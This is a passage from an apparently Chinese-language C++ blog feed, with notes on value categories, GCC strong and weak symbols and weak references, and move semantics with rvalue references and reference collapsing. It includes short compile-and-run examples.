&lt;p&gt;纯右值是传统右值的一部分，纯右值是表达式产生的中间值，不能取地址。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xvalue-xiao-wang-zhi&quot;&gt;xvalue（消亡值）&lt;&#x2F;h2&gt;
&lt;p&gt;The following expressions are xvalue expressions:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;a function call or an overloaded operator expression of rvalue reference to object return type, such as std::move(x);
（注意：返回右值引用的表达式（方法和运算符重载），是消亡值，而不是纯右值）
a[n], the built-in subscript expression, where one operand is an array rvalue ;
a.m, the member of object expression, where a is an rvalue and m is a non-static data member of non-reference type;
a.*mp, the pointer to member of object expression, where a is an rvalue and mp is a pointer to data member;
a ? b : c, the ternary conditional expression for some a, b, and c;
a cast expression to rvalue reference to object type, such as static_cast&amp;lt;char&amp;amp;&amp;amp;&amp;gt;(x).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;properties-2&quot;&gt;Properties:&lt;&#x2F;h3&gt;
&lt;p&gt;Same as rvalue (below).
Same as glvalue (below).
In particular, like all rvalues, xvalues bind to rvalue references, and like all glvalues, xvalues may be polymorphic, and non-class xvalues may be cv-qualified.
（消亡连接右值表达式，可以是动态类型，但是非class的类型不能是cv-qualified的）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-jie-2&quot;&gt;总结：&lt;&#x2F;h3&gt;
&lt;p&gt;本质上，消亡值就是通过右值引用产生的值。右值一定会在表达式结束后被销毁，比如return x（x被copy以后会被销毁）, 1+2（3这个中间值会被销毁）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;mixed-categories&quot;&gt;Mixed categories&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;glvalue-fan-zuo-zhi&quot;&gt;glvalue（泛左值）&lt;&#x2F;h2&gt;
&lt;p&gt;A glvalue expression is either lvalue or xvalue.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;properties-3&quot;&gt;Properties:&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A glvalue may be implicitly converted to a prvalue with lvalue-to-rvalue, array-to-pointer, or function-to-pointer implicit conversion.
A glvalue may be polymorphic: the dynamic type of the object it identifies is not necessarily the static type of the expression.
A glvalue can have incomplete type, where permitted by the expression.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;rvalue-you-zhi&quot;&gt;rvalue（右值）&lt;&#x2F;h2&gt;
&lt;p&gt;An rvalue expression is either prvalue or xvalue.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;properties-4&quot;&gt;Properties:&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Address of an rvalue may not be taken: &amp;amp;int(), &amp;amp;i++[3], &amp;amp;42, and &amp;amp;std::move(x) are invalid.
（和左值不同，右值不可以取地址）
An rvalue can&#x27;t be used as the left-hand operand of the built-in assignment or compound assignment operators.
（右值不能在内建等号的左边，注意如果运算符重载是可以右值存在在右边的）
An rvalue may be used to initialize a const lvalue reference, in which case the lifetime of the object identified by the rvalue is extended until the scope of the reference ends.
An rvalue may be used to initialize an rvalue reference, in which case the lifetime of the object identified by the rvalue is extended until the scope of the reference ends.(since C++11)
When used as a function argument and when two overloads of the function are available, one taking rvalue reference parameter and the other taking lvalue reference to const parameter, an rvalue binds to the rvalue reference overload (thus, if both copy and move constructors are available, an rvalue argument invokes the move constructor, and likewise with copy and move assignment operators).(since C++11)
（在C++11中，如果存在一个函数的两个重载（只有某个参数不同，且这个参数在一个重载中是右值引用，另一个是const左值引用），此时用右值调用这个重载函数，将会匹配右值引用的函数）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;special-categories&quot;&gt;Special categories&lt;&#x2F;h1&gt;
&lt;p&gt;Pending member function call&lt;&#x2F;p&gt;
&lt;p&gt;The expressions a.mf and p-&amp;gt;mf, where mf is a non-static member function, and the expressions a.mfp and p-&amp;gt;mfp, where mfp is a pointer to member function, are classified as prvalue expressions, but they cannot be used to initialize references, as function arguments, or for any purpose at all, except as the left-hand argument of the function call operator, e.g. (p-&amp;gt;*mfp)(args).
Void expressions
Function call expressions returning void, cast expressions to void, and throw-expressions are classified as prvalue expressions, but they cannot be used to initialize references or as function arguments. They can be used in discarded-value contexts (e.g. on a line of its own, as the left-hand operand of the comma operator, etc.) and in the return statement in a function returning void. In addition, throw-expressions may be used as the second and the third operands of the conditional operator ?:. Void expressions have no result object (since C++17)
Bit fields
An expression that designates a bit field (e.g. a.m, where a is an lvalue of type struct A { int m: 3; }) is an lvalue expression: it may be used as the left-hand operand of the assignment operator, but its address cannot be taken and a non-const lvalue reference cannot be bound to it. A const lvalue reference can be initialized from a bit-field lvalue, but a temporary copy of the bit-field will be made: it won&#x27;t bind to the bit field directly.
（位域是左值，但是位域不能取地址，也不能将一个非const引用绑定到位域上，但是const引用可以绑定到一个位域上，但此时会产生一个临时变量）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;you-zhi-yin-yong-ye-shi-yin-yong&quot;&gt;右值引用也是引用&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;string s1 = &amp;quot;hello\n&amp;quot;;
string&amp;amp;&amp;amp; s2 = std::move(s1);
cout &amp;lt;&amp;lt; s1;
cout &amp;lt;&amp;lt; s2;                      &amp;#x2F;&amp;#x2F; same as s1
cout &amp;lt;&amp;lt; hex &amp;lt;&amp;lt; &amp;amp;s1 &amp;lt;&amp;lt; endl;
cout &amp;lt;&amp;lt; hex &amp;lt;&amp;lt; &amp;amp;s2 &amp;lt;&amp;lt; endl;      &amp;#x2F;&amp;#x2F; same as &amp;amp;s1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;footnotes&quot;&gt;Footnotes&lt;&#x2F;h1&gt;
&lt;p&gt;Assuming i has built-in type or the pre-increment operator is overloaded to return by lvalue reference&lt;&#x2F;p&gt;
&lt;p&gt;2 2.0 2.1 2.2 2.3 special rvalue category, see pending member function call&lt;&#x2F;p&gt;
&lt;p&gt;Assuming i has built-in type or the postincrement operator is not overloaded to return by lvalue reference&lt;&#x2F;p&gt;
&lt;p&gt;&quot;A difference of opinion within the C community centered around the meaning of lvalue, one group considering an lvalue to be any kind of object locator, another group holding that an lvalue is meaningful on the left side of an assigning operator. The C89 Committee adopted the definition of lvalue as an object locator&quot; -- ANSI C Rationale, 6.3.2.1&#x2F;10&lt;&#x2F;p&gt;
&lt;p&gt;&quot;New&quot; Value Terminology by Bjarne Stroustrup, 2010&lt;&#x2F;p&gt;
&lt;p&gt;const prvalues (only allowed for class types) and const xvalues do not bind to T&amp;amp;&amp;amp; overloads, but they bind to the const T&amp;amp;&amp;amp; overloads, which are also classified as &quot;move constructor&quot; and &quot;move assignment operator&quot; by the standard, satisfying the definition of &quot;can be moved from&quot; for the purpose of this classification. However, such overloads cannot modify their arguments and are not used in practice; in their absence const prvalues and const xvalues bind to const T&amp;amp; overloads.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx 强符号弱符号</title>
        <published>2022-06-21T12:51:46+08:00</published>
        <updated>2022-06-21T12:51:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx-强符号弱符号/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx-强符号弱符号/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx-强符号弱符号/">&lt;h1 id=&quot;cxx-qiang-fu-hao-ruo-fu-hao&quot;&gt;cxx 强符号弱符号&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;c-qiang-fu-hao-yu-ruo-fu-hao&quot;&gt;c++强符号与弱符号&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;编译器默认函数和初始化了的全局变量为强符号，未初始化的全局变量为弱符号，也可以通过GCC &quot;&lt;strong&gt;attribute&lt;&#x2F;strong&gt;((weak))&quot;来定义任何一个强符号变为弱符号。
GCC 中，我们也可以通过使用&quot;&lt;strong&gt;attribute&lt;&#x2F;strong&gt;((weakref))&quot;这个扩展关键字来声明一个对外部函数的引用为弱引用。（&lt;strong&gt;attribute&lt;&#x2F;strong&gt;((weak))）void foo();&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;lian-jie-qi-lian-jie-gui-ze&quot;&gt;链接器链接规则&lt;&#x2F;h2&gt;
&lt;p&gt;不允许强符号被多次定义，如果有多个强符号定义，则链接器报符号重定义
如果一个符号在某个目标文件中是强符号，在其他文件中都是弱符号，那么选择强符号
如果一个符号在所有目标都符号，那么选择其中占用空间最大的一个&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-tu&quot;&gt;用途&lt;&#x2F;h2&gt;
&lt;p&gt;这种弱符号与弱引用对于库来说十分有用，比如库中定义的弱符号可以被用户定义的强符号所覆盖，从而使得程序可以使用自定义版本的库函数，
或者程序可以对某些扩展功能模块的引用定义为弱引用，当我们将扩展模块与程序链接在一起的时，功能模块就可以正常使用。
如果我们去掉某些模块，那么程序也可以正常链接，只是缺少了相应的功能，这使得程序的功能更加容易裁剪和组合。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;example&quot;&gt;example&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;main.c
#include &amp;lt;stdio.h&amp;gt;

__attribute__((weak)) void show_msg()
{
	printf(&amp;quot;weaksymbol test.\n&amp;quot;);
}
int main()
{
	show_msg();
	return 0;
}

&amp;#x2F;&amp;#x2F;show.c
#include &amp;lt;stdio.h&amp;gt;

void show_msg()
{
	printf(&amp;quot;strongsymbol test.\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;gcc main.c
.&#x2F;a.out
weaksymbol test.&lt;&#x2F;p&gt;
&lt;p&gt;gcc main.c show.c
.&#x2F;a.out
strongsymbol test.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;tcmalloc 也是利用强弱符号的规则，可以仅需要链接-ltcmalloc就可以替glibc分配方法&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qiang-ruo-fu-hao-zong-jie&quot;&gt;强弱符号总结&lt;&#x2F;h2&gt;
&lt;p&gt;针对强弱符号的概念，链接器就会按照如下规则处理与选择被多次定义的全局符号：&lt;&#x2F;p&gt;
&lt;p&gt;不允许强符号被多次定义 (即不同的目标文件中不能有同名的强符号)，如果有多个强符号定义，则链接器报符号重复定义错误。
如果一个符号在某个目标文件中是强符号，在其他文件中都是弱符号，那么选择强符号。
如果一个符号在所有目标文件中都是弱符号，那么选择其中占用空间最大的一个。
对于最后一点，如果两个文件同时定义了 global_var 变量，类型分别为 int 和 double ，也就是分别占用 4 和 8 字节，那么 global_var 符号最终占用的是 8 字节。&lt;&#x2F;p&gt;
&lt;p&gt;注意，尽量不要使用多个不同类型的弱符号，否则容易导致很难发现的程序错误。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qiang-ruo-yin-yong&quot;&gt;强弱引用&lt;&#x2F;h1&gt;
&lt;p&gt;一些对外部文件的符号引用，如果在被链接成可执行文件时，没有找到相关的符号，那么链接器就会报符号未定义错误，这种被称为强引用 (Strong Reference)。&lt;&#x2F;p&gt;
&lt;p&gt;与之相对应还有一种弱引用 (Weak Reference)，如果可以找到符号则连接，否则连接器会默认设置为 0 或者一个特殊值。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;weakref&quot;&gt;weakref&lt;&#x2F;h2&gt;
&lt;p&gt;在 GCC 中，可以使用 &lt;strong&gt;attribute&lt;&#x2F;strong&gt;((weakref)) 来声明对一个外部函数的引用为弱引用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* main.c *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

static void foo() __attribute__((weakref(&amp;quot;bar&amp;quot;)));

int main(void)
{
  if (foo) {
    foo();
  }
  return 0;
}

&amp;#x2F;* other.c *&amp;#x2F;
#include &amp;lt;stdio.h&amp;gt;

void bar()
{
  printf(&amp;quot;Hello World!!!\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，在声明弱引用时需要使用 static 关键字。
如果通过 gcc main.c 进行编译则不会打印任何东西，而通过 gcc main.c other.c 编译会看到相关的 Hello World!!! 输出。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;weak-alias&quot;&gt;weak_alias&lt;&#x2F;h2&gt;
&lt;p&gt;在 glibc 代码中，可以看到很多对函数的属性修饰，包括了各种 alias 的定义，这里简单看下 weak_alias 的相关内容。
函数的属性定义在 include&#x2F;libc-symbols.h 头文件中，其中 weak_alias 的定义如下。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* Define ALIASNAME as a weak alias for NAME.
   If weak aliases are not available, this defines a strong alias.  *&amp;#x2F;
# define weak_alias(name, aliasname) _weak_alias (name, aliasname)
# define _weak_alias(name, aliasname) \
  extern __typeof (name) aliasname __attribute__ ((weak, alias (#name)));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以参考 glibc 中的一个实际应用，也就是 gettimeofday() 。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# include &amp;lt;sysdep.h&amp;gt;
# include &amp;lt;errno.h&amp;gt;

int __gettimeofday (struct timeval *tv, struct timezone *tz)
{
	return INLINE_SYSCALL (gettimeofday, 2, tv, tz);
}
libc_hidden_def (__gettimeofday)

weak_alias (__gettimeofday, gettimeofday)
libc_hidden_weak (gettimeofday)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;example-1&quot;&gt;example&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; lib.cc
#include &amp;lt;stdio.h&amp;gt;

void foobar() __attribute__ ((weak));
void foobar(void)
{
        printf(&amp;quot;libfoobar test\n&amp;quot;);
}

&amp;#x2F;&amp;#x2F; app.cc
#include &amp;lt;stdio.h&amp;gt;

void foobar(void)
{
        printf(&amp;quot;app test\n&amp;quot;);
}

&amp;#x2F;&amp;#x2F; main.cc
#include &amp;lt;stdio.h&amp;gt;

void foobar(void);

int main(void)
{
        foobar();
        return 0;
}

&amp;#x2F;&amp;#x2F; makefile
all:
        gcc -c foobar.c
        ar crv libfoobar.a foobar.o
        #gcc main.c app.c libfoobar.a -o foobar
        gcc main.c libfoobar.a -o foobar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先生成一个静态库，可以通过 nm libfoobar.a 看到定义了一个 Weak 类型的 foobar() 函数。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;----- 直接使用app.c中的代码
$ gcc libfoobar.a main.c app.c -o foobar
$ .&#x2F;foobar
app test&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;----- 如果不使用app.c中的代码
$ gcc libfoobar.a main.c -o foobar
$ .&#x2F;foobar
libfoobar test
在使用时需要注意顺序，如果 libfoobar.a 中包含了 weak 函数，那么应该放在最后，否则会报错 undefined reference&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;这种弱符号和弱引用对于库来说十分有用，比如库中定义的弱符号可以被用户定义的强符号所覆盖，从而使得程序可以使用自定义版本的库函数。&lt;&#x2F;p&gt;
&lt;p&gt;或者程序可以对某些扩展功能模块的引用定义为弱引用，当用户将扩展模块与程序链接在一起时，功能模块就可以正常使用；如果我们去掉了某些功能模块，那么程序也可以正常链接，只是缺少了相应的功能，这使得程序的功能更加容易裁剪和组合。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>移动语义move</title>
        <published>2022-06-21T10:36:54+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/移动语义move/"/>
        <id>https://vercel.juzhong.asia/2022/06/移动语义move/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/移动语义move/">&lt;h1 id=&quot;yi-dong-yu-yi-move&quot;&gt;移动语义move&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;yi-dong-fei-yin-yong-fan-hui-zhi&quot;&gt;移动非引用返回值&lt;&#x2F;h1&gt;
&lt;p&gt;没必要使用 std::move() 移动非引用返回值。
C++ 会把 即将离开作用域的 非引用类型的 返回值当成 右值（参考 值类别 vs 变量类型），
对返回的对象进行 移动语义 移动构造（语言标准）；如果编译器允许 拷贝省略 拷贝省略，还可以省略这一步的构造，直接把 ret 存放到返回值的内存里（编译器优化）。&lt;&#x2F;p&gt;
&lt;p&gt;误用 std::move() 会 阻止 编译器的拷贝省略 优化。不过聪明的 Clang 会提示 -Wpessimizing-move&#x2F;-Wredundant-move 警告。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::unique_ptr&amp;lt;int&amp;gt; foo() {
  auto ret = std::make_unique&amp;lt;int&amp;gt;(1);
  &amp;#x2F;&amp;#x2F;...
  return std::move(ret);  &amp;#x2F;&amp;#x2F; -&amp;gt; return ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bu-yi-dong-you-zhi-yin-yong-can-shu&quot;&gt;不移动右值引用参数&lt;&#x2F;h1&gt;
&lt;p&gt;没有对返回值使用 std::move()（编译器提示 std::unique_ptr(const std::unique_ptr&amp;amp;) = delete 错误）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::unique_ptr&amp;lt;int&amp;gt; bar(std::unique_ptr&amp;lt;int&amp;gt;&amp;amp;&amp;amp; val) {
  &amp;#x2F;&amp;#x2F;...
  return val;    &amp;#x2F;&amp;#x2F; not compile
                 &amp;#x2F;&amp;#x2F; -&amp;gt; return std::move&amp;#x2F;forward(val);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因为不论 左值引用 还是 右值引用 的变量（或参数）在初始化后，都是左值（参考 值类别 vs 变量类型）：&lt;&#x2F;p&gt;
&lt;p&gt;命名的右值引用 (named rvalue reference) 变量 是 左值，但变量类型 却是 右值引用
在作用域内，左值变量 可以通过 变量名 (variable name) 被取地址、被赋值&lt;&#x2F;p&gt;
&lt;p&gt;所以，返回右值引用变量时，需要使用 std::move()&#x2F;std::forward() 显式的 移动转发 移动转发 或 完美转发 完美转发，将变量 “还原” 为右值（右值引用类型）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shou-xie-cuo-wu-de-yi-dong-gou-zao-han-shu&quot;&gt;手写错误的移动构造函数&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;C.20: If you can avoid defining default operations, do
C.21: If you define or =delete any default operation, define or =delete them all
C.80: Use =default if you have to be explicit about using the default semantics
C.66: Make move operations noexcept&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果 没有定义 拷贝构造&#x2F;拷贝赋值&#x2F;移动构造&#x2F;移动赋值&#x2F;析构 函数的任何一个，编译器会 自动生成 移动构造&#x2F;移动赋值 函数（rule of zero）
如果 需要定义 拷贝构造&#x2F;拷贝赋值&#x2F;移动构造&#x2F;移动赋值&#x2F;析构 函数的任何一个，不要忘了 移动构造&#x2F;移动赋值 函数，否则对象会 不可移动（rule of five）
尽量使用 =default 让编译器生成 移动构造&#x2F;移动赋值 函数，否则 容易写错
如果 需要自定义 移动构造&#x2F;移动赋值 函数，尽量定义为 noexcept 不抛出异常（编译器生成的版本会自动添加），否则 不能高效 使用标准库和语言工具&lt;&#x2F;p&gt;
&lt;p&gt;例如，标准库容器 std::vector 在扩容时，会通过 std::vector::reserve() 重新分配空间，并转移已有元素。
如果扩容失败，std::vector 满足 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;%E7%A7%BB%E5%8A%A8%E8%AF%AD%E4%B9%89move&#x2F;%22https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;exceptions#Exception_safety%22&quot;&gt;强异常保证&lt;&#x2F;a&gt; (strong exception guarantee)，可以回滚到失败前的状态。&lt;&#x2F;p&gt;
&lt;p&gt;为此，std::vector 使用 std::move_if_noexcept() 进行元素的转移操作：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;优先 使用 noexcept 移动构造函数（高效；不抛出异常）
其次 使用 拷贝构造函数（低效；如果异常，可以回滚）
再次 使用 非 noexcept 移动构造函数（高效；如果异常，无法回滚）
最后 如果 不可拷贝、不可移动，编译失败
如果 没有定义移动构造函数 或 自定义的移动构造函数没有 noexcept，会导致 std::vector 扩容时执行无用的拷贝，不易发现。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zhi-lei-bie-vs-bian-liang-lei-xing&quot;&gt;值类别 vs 变量类型&lt;&#x2F;h1&gt;
&lt;p&gt;值 (value) 和 变量 (variable) 是两个独立的概念：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;值 只有 类别 (category) 的划分，变量 只有 类型 (type) 的划分
值 不一定拥有 身份 (identity)，也不一定拥有 变量名（例如 表达式中间结果 i + j + k）
值类别 (value category) 可以分为两种：&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;左值 (lvalue, left value) 是 能被取地址、不能被移动 的值
右值 (rvalue, right value) 是 表达式中间结果&#x2F;函数返回值（可能拥有变量名，也可能没有）&lt;&#x2F;p&gt;
&lt;p&gt;C++ 17 细化了 prvalue&#x2F;xvalue&#x2F;lvalue 和 rvalue&#x2F;glvalue 类别
引用类型属于一种变量类型 (variable type)，将在 左值引用 vs 右值引用 vs 常引用 详细讨论。&lt;&#x2F;p&gt;
&lt;p&gt;在变量初始化 (initialization) 时，需要将 初始值 (initial value) 绑定到变量上；但引用类型变量 的初始化 和其他的值类型（非引用类型）变量不同：&lt;&#x2F;p&gt;
&lt;p&gt;创建时，必须显式初始化（和指针不同，不允许 空引用 (null reference)；但可能存在 悬垂引用 (dangling reference)）
相当于是 其引用的值 的一个 别名 (alias)（例如，对引用变量的 赋值运算 (assignment operation) 会赋值到 其引用的值 上）
一旦绑定了初始值，就 不能重新绑定 到其他值上了（和指针不同，赋值运算不能修改引用的指向；而对于 Java&#x2F;JavaScript 等语言，对引用变量赋值 可以重新绑定）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zuo-zhi-yin-yong-vs-you-zhi-yin-yong-vs-chang-yin-yong&quot;&gt;左值引用 vs 右值引用 vs 常引用&lt;&#x2F;h1&gt;
&lt;p&gt;引用类型 可以分为两种：&lt;&#x2F;p&gt;
&lt;p&gt;左值引用 (l-ref, lvalue reference) 用 &amp;amp; 符号引用 左值（但不能引用右值）
右值引用 (r-ref, rvalue reference) 用 &amp;amp;&amp;amp; 符号引用 右值（也可以移动左值）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void f(Data&amp;amp;  data);  &amp;#x2F;&amp;#x2F; 1, data is l-ref
void f(Data&amp;amp;&amp;amp; data);  &amp;#x2F;&amp;#x2F; 2, data is r-ref
Data   data;
 
Data&amp;amp;  data1 = data;             &amp;#x2F;&amp;#x2F; OK
Data&amp;amp;  data1 = Data{};           &amp;#x2F;&amp;#x2F; not compile: invalid binding
Data&amp;amp;&amp;amp; data2 = Data{};           &amp;#x2F;&amp;#x2F; OK
Data&amp;amp;&amp;amp; data2 = data;             &amp;#x2F;&amp;#x2F; not compile: invalid binding
Data&amp;amp;&amp;amp; data2 = std::move(data);  &amp;#x2F;&amp;#x2F; OK
 
f(data);    &amp;#x2F;&amp;#x2F; 1, data is lvalue
f(Data{});  &amp;#x2F;&amp;#x2F; 2, data is rvalue
f(data1);   &amp;#x2F;&amp;#x2F; 1, data1 is l-ref type and lvalue
f(data2);   &amp;#x2F;&amp;#x2F; 1, data2 is r-ref type but lvalue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;左值引用 变量 data1 在初始化时，不能绑定右值 Data{}
右值引用 变量 data2 在初始化时，不能绑定左值data
但可以通过 std::move() 将左值 转为右值引用（参考 移动转发）
右值引用 变量 data2 被初始化后，在作用域内是 左值（参考 误解：不移动右值引用参数），所以匹配 f() 的 重载 2&lt;&#x2F;p&gt;
&lt;p&gt;另外，C++ 还支持了 常引用 (c-ref, const reference)，同时接受 左值&#x2F;右值 进行初始化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void g(const Data&amp;amp; data);  &amp;#x2F;&amp;#x2F; data is c-ref
g(data);    &amp;#x2F;&amp;#x2F; ok, data is lvalue
g(Data{});  &amp;#x2F;&amp;#x2F; ok, data is rvalue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-yin-yong-he-you-zhi-yin-yong-du-neng-jie-shou-you-zhi-de-bang-ding-you-shen-me-qu-bie-ni&quot;&gt;常引用和右值引用 都能接受右值的绑定，有什么区别呢？&lt;&#x2F;h2&gt;
&lt;p&gt;通过 右值引用&#x2F;常引用 初始化的右值，都可以将生命周期扩展 (lifetime extension) 到 绑定该右值的 引用的生命周期
初始化时 绑定了右值后，右值引用 可以修改 引用的右值，而 常引用 不能修改&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;const Data&amp;amp; data1 = Data{};   &amp;#x2F;&amp;#x2F; OK: extend lifetime
data1.modify();               &amp;#x2F;&amp;#x2F; not compile: const
 
Data&amp;amp;&amp;amp; data2 = Data{};        &amp;#x2F;&amp;#x2F; OK: extend lifetime
data2.modify();               &amp;#x2F;&amp;#x2F; OK: non-const
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yin-yong-can-shu-zhong-zai-you-xian-ji&quot;&gt;引用参数重载优先级&lt;&#x2F;h2&gt;
&lt;p&gt;如果函数重载同时接受 右值引用&#x2F;常引用 参数，编译器 优先重载 右值引用参数 —— 是 移动语义 移动语义 的实现基础：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;void f(const Data&amp;amp; data);  &amp;#x2F;&amp;#x2F; 1, data is c-ref
void f(Data&amp;amp;&amp;amp; data);       &amp;#x2F;&amp;#x2F; 2, data is r-ref
 
f(Data{});  &amp;#x2F;&amp;#x2F; 2, prefer 2 over 1 for rvalue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;针对不同左右值 实参 (argument) 重载 引用类型 形参 (parameter) 的优先级如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;%E7%A7%BB%E5%8A%A8%E8%AF%AD%E4%B9%89move&#x2F;image-20231225105216-t3iuevf.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;数值越小，优先级越高；如果不存在，则重载失败
如果同时存在 传值 (by value) 重载（接受值类型参数 T），会和上述 传引用 (by reference) 重载产生歧义，编译失败
常右值引用 (const rvalue reference) const T&amp;amp;&amp;amp; 一般不直接使用（参考）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yin-yong-zhe-die&quot;&gt;引用折叠&lt;&#x2F;h1&gt;
&lt;p&gt;引用折叠(reference collapsing)（是 移动转发 std::move() 和 完美转发 std::forward() 的实现基础：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;using Lref = Data&amp;amp;;
using Rref = Data&amp;amp;&amp;amp;;
Data data;
 
Lref&amp;amp;  r1 = data;    &amp;#x2F;&amp;#x2F; r1 is Data&amp;amp;
Lref&amp;amp;&amp;amp; r2 = data;    &amp;#x2F;&amp;#x2F; r2 is Data&amp;amp;
Rref&amp;amp;  r3 = data;    &amp;#x2F;&amp;#x2F; r3 is Data&amp;amp;
Rref&amp;amp;&amp;amp; r4 = Data{};  &amp;#x2F;&amp;#x2F; r4 is Data&amp;amp;&amp;amp;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yi-dong-yu-yi&quot;&gt;移动语义&lt;&#x2F;h1&gt;
&lt;p&gt;在 C++ 11 强化了左右值概念后，提出了 移动语义 (move semantic) 优化：由于右值对象一般是临时对象，在移动时，对象包含的资源 不需要先拷贝再删除，只需要直接 从旧对象移动到新对象。
同时，要求 被移动的对象 处于 合法但未指定状态（参考 误解：被移动的值不能再使用）：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（基本要求）能正确析构（不会重复释放已经被移动了的资源，例如 std::unique_ptr::~unique_ptr() 检查指针是否需要 delete）
（一般要求）重新赋值后，和新的对象没有差别（C++ 标准库基于这个假设）
（更高要求）恢复为默认值（例如 std::unique_ptr 恢复为 nullptr）
由于基本类型不包含资源，其移动和拷贝相同：被移动后，保持为原有值。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;bi-mian-xian-kao-bei-zai-shi-fang-zi-yuan&quot;&gt;避免先拷贝再释放资源&lt;&#x2F;h2&gt;
&lt;p&gt;一般通过 重载构造&#x2F;赋值函数 实现移动语义。例如，std::vector 有：&lt;&#x2F;p&gt;
